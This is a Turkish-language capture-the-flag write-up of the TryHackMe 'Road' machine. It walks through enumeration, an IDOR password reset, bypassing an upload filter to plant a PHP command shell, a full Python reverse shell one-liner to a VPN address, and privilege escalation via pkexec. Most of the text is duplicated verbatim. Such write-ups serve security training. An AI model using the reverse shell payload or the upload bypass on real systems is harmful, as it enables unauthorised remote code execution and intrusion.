- 15 Ocak 2019
- 241
- 26
Selam, bugün sizlerle birlikte tryhackme adlı platformdan road adındaki makineyi çözeceğiz. Öncelikli olarak gerekli bağlantıları yaptıktan sonra aldığımız ip adresi hakkında bilgi edinmek için nmap aracı ile basit bir tarama gerçekleştireceğim.
Ssh portunda şuan için enum. edebileceğimbir olay yok brute force atmak da istemiyorum bunun yerine web servisinden devam edeceğim. Açılışta birkaç birşeyler görüp gözümde canlansa'da işimi şansa bırakmak istemedim, bunun için ufak bir dirb taraması yapmaya karar verdim.
Arkada gördüğünüz gibi phpmyadmin açık, ne olur ne olmaz default olarak gelen "root" "null" gibi kombinasyonları denesem'de herhangi bir dönüt alamadım. Lakin /v2/ adında bir klasör keşfediyoruz, bu klasörü enum. ettiğimde user giriş ekranı olduğunu anlayıp hemen bir tane test user açtım.
Giriş için no-redirect, sql injection gibi açıklar denemeye çalışsam da sonuç vermedi, buradaki yetkimiz çok kısıtlı sadece user bilgimi değiştirebiliyorum. Lakin resetleme ekranında mail adresi kitlenmiş buradan yola çıkarak burp aracılığı ile IDOR & SQL testi yapmaya karar verdim. Öncelikle whatweb aracı ile ufak bir arama yaptığımda bir mail adresi çıkıyordu şöyle bırakalım.
Şimdi ise burp aracılığı ile ele geçirdiğim requeste bu mail bilgilerini verip de şifrelerini değiştirmeye çalışsam nasıl olur ? denemekten başka yolumuz yok eğer ki başarısız olursak yine mail ekranında sql sorguları döndürüp admini yakalamaya çalışacağız.
Birkaç denemeden sonra kesinlikle İDOR açığının varlığından emin oldum ne yaparsam yapayım sql injection'u çıkartamadım, kaldı ki lfi & rce de çıkmadı. Şuan için sistemde admin yetkisindeyim neler yapabileceğimi düşünüyorum. Ve admin profil ayarlarında gezinirken ufak bir resim yükleme alanının olduğunu fark ettim.
Aklımda şuan için sadece shell sokmak geçiyor. Php düz yermi tabiki yemez, ama bu durumu .php3-7 .phtml gibi düzenler verirsem belki içeriye sokabiliriz veya mime-type'ı değiştireceğim ki server fark etmesin. İster realworld senaryosu olsun ister ctf olsun, public web shelleri kullanmayın shell yerse bile anında engeller. Bunun yerine basit sheller kullanmak daha mantıklı.
Yukarda okuduğunuz gibi dediğimi yapın ama yaptığımı yapmayın şimdi asıl olay kaydedilen tarafı bulmakta bu /assets/ /uploads/ klasörlerinde de olabilir. Lakin userın üstüne gelip resmi kopyala yaptığımızda sonuç ortaya çıkacaktır. Shellimizin yüklendiği ekran => "/v2/profileimages/" olmuştur. Solda gördüğünüz gibi basit bir cmd shell kullandım shell.php den sonra ?cmd=[makine kodlarını buraya gireceğiz]
Şimdi ise reverse bağlantı alabiliriz, eğer ki sistem içerisinde istediğiniz shell çalışmıyorsa php & python v.s bunun için revshells adlı websitesinden hazır olan shelleri içeri çekip denemeler yapabilirsiniz.
Resimde gördüğünüz gibi aktif olarak kullandığınız vpn bağlantısından yani "tun0" adresini yazacaksınız. Şuan için benim reverse shell payloadım ; "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.142.239",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"
Şimdi ise görüldüğü gibi netcat bağlantımız ortaya geldi. Kernelde herhangi bir açık göremediğimden ötürü biraz takılırken /home klasörü altında developer adlı bir kullanıcı görmem ile ilk flagimi buldum. Sanırım sistemde yetki yükseltirken bu kullanıcı epey işimize yarayacak.
Herhangi bir SUID & cron & lokal exploit bulamamışken LinPEAS yardımıma koştu, aslında sadece sql'in varlığını hatırlattı ve şifresiz şekilde mongo db ye girebildim, biraz oynadıktan sonra istediğim şey karşımdaydı.
Webdeveloper adlı kullanıcının şifresinide aldıktan sonra girişimi yapıyorum, ve en sonda yetki yükseltme aşaması için usrın içerisinde sudo -l attığım zaman pkexec veriyor. Bunun için echo ile $$ verip ardından pktty yardımı ile id değerini verikten sonra sonuç ;
Konumu Okuduğunuz için minnetarım, gelişmem için bana hatalarımı söyleyin, sağlıcakla kalın // LyxG
Ssh portunda şuan için enum. edebileceğimbir olay yok brute force atmak da istemiyorum bunun yerine web servisinden devam edeceğim. Açılışta birkaç birşeyler görüp gözümde canlansa'da işimi şansa bırakmak istemedim, bunun için ufak bir dirb taraması yapmaya karar verdim.
Arkada gördüğünüz gibi phpmyadmin açık, ne olur ne olmaz default olarak gelen "root" "null" gibi kombinasyonları denesem'de herhangi bir dönüt alamadım. Lakin /v2/ adında bir klasör keşfediyoruz, bu klasörü enum. ettiğimde user giriş ekranı olduğunu anlayıp hemen bir tane test user açtım.
Giriş için no-redirect, sql injection gibi açıklar denemeye çalışsam da sonuç vermedi, buradaki yetkimiz çok kısıtlı sadece user bilgimi değiştirebiliyorum. Lakin resetleme ekranında mail adresi kitlenmiş buradan yola çıkarak burp aracılığı ile IDOR & SQL testi yapmaya karar verdim. Öncelikle whatweb aracı ile ufak bir arama yaptığımda bir mail adresi çıkıyordu şöyle bırakalım.
Şimdi ise burp aracılığı ile ele geçirdiğim requeste bu mail bilgilerini verip de şifrelerini değiştirmeye çalışsam nasıl olur ? denemekten başka yolumuz yok eğer ki başarısız olursak yine mail ekranında sql sorguları döndürüp admini yakalamaya çalışacağız.
Birkaç denemeden sonra kesinlikle İDOR açığının varlığından emin oldum ne yaparsam yapayım sql injection'u çıkartamadım, kaldı ki lfi & rce de çıkmadı. Şuan için sistemde admin yetkisindeyim neler yapabileceğimi düşünüyorum. Ve admin profil ayarlarında gezinirken ufak bir resim yükleme alanının olduğunu fark ettim.
Aklımda şuan için sadece shell sokmak geçiyor. Php düz yermi tabiki yemez, ama bu durumu .php3-7 .phtml gibi düzenler verirsem belki içeriye sokabiliriz veya mime-type'ı değiştireceğim ki server fark etmesin. İster realworld senaryosu olsun ister ctf olsun, public web shelleri kullanmayın shell yerse bile anında engeller. Bunun yerine basit sheller kullanmak daha mantıklı.
Yukarda okuduğunuz gibi dediğimi yapın ama yaptığımı yapmayın şimdi asıl olay kaydedilen tarafı bulmakta bu /assets/ /uploads/ klasörlerinde de olabilir. Lakin userın üstüne gelip resmi kopyala yaptığımızda sonuç ortaya çıkacaktır. Shellimizin yüklendiği ekran => "/v2/profileimages/" olmuştur. Solda gördüğünüz gibi basit bir cmd shell kullandım shell.php den sonra ?cmd=[makine kodlarını buraya gireceğiz]
Şimdi ise reverse bağlantı alabiliriz, eğer ki sistem içerisinde istediğiniz shell çalışmıyorsa php & python v.s bunun için revshells adlı websitesinden hazır olan shelleri içeri çekip denemeler yapabilirsiniz.
Resimde gördüğünüz gibi aktif olarak kullandığınız vpn bağlantısından yani "tun0" adresini yazacaksınız. Şuan için benim reverse shell payloadım ; "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.142.239",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'"
Şimdi ise görüldüğü gibi netcat bağlantımız ortaya geldi. Kernelde herhangi bir açık göremediğimden ötürü biraz takılırken /home klasörü altında developer adlı bir kullanıcı görmem ile ilk flagimi buldum. Sanırım sistemde yetki yükseltirken bu kullanıcı epey işimize yarayacak.
Herhangi bir SUID & cron & lokal exploit bulamamışken LinPEAS yardımıma koştu, aslında sadece sql'in varlığını hatırlattı ve şifresiz şekilde mongo db ye girebildim, biraz oynadıktan sonra istediğim şey karşımdaydı.
Webdeveloper adlı kullanıcının şifresinide aldıktan sonra girişimi yapıyorum, ve en sonda yetki yükseltme aşaması için usrın içerisinde sudo -l attığım zaman pkexec veriyor. Bunun için echo ile $$ verip ardından pktty yardımı ile id değerini verikten sonra sonuç ;
Konumu Okuduğunuz için minnetarım, gelişmem için bana hatalarımı söyleyin, sağlıcakla kalın // LyxG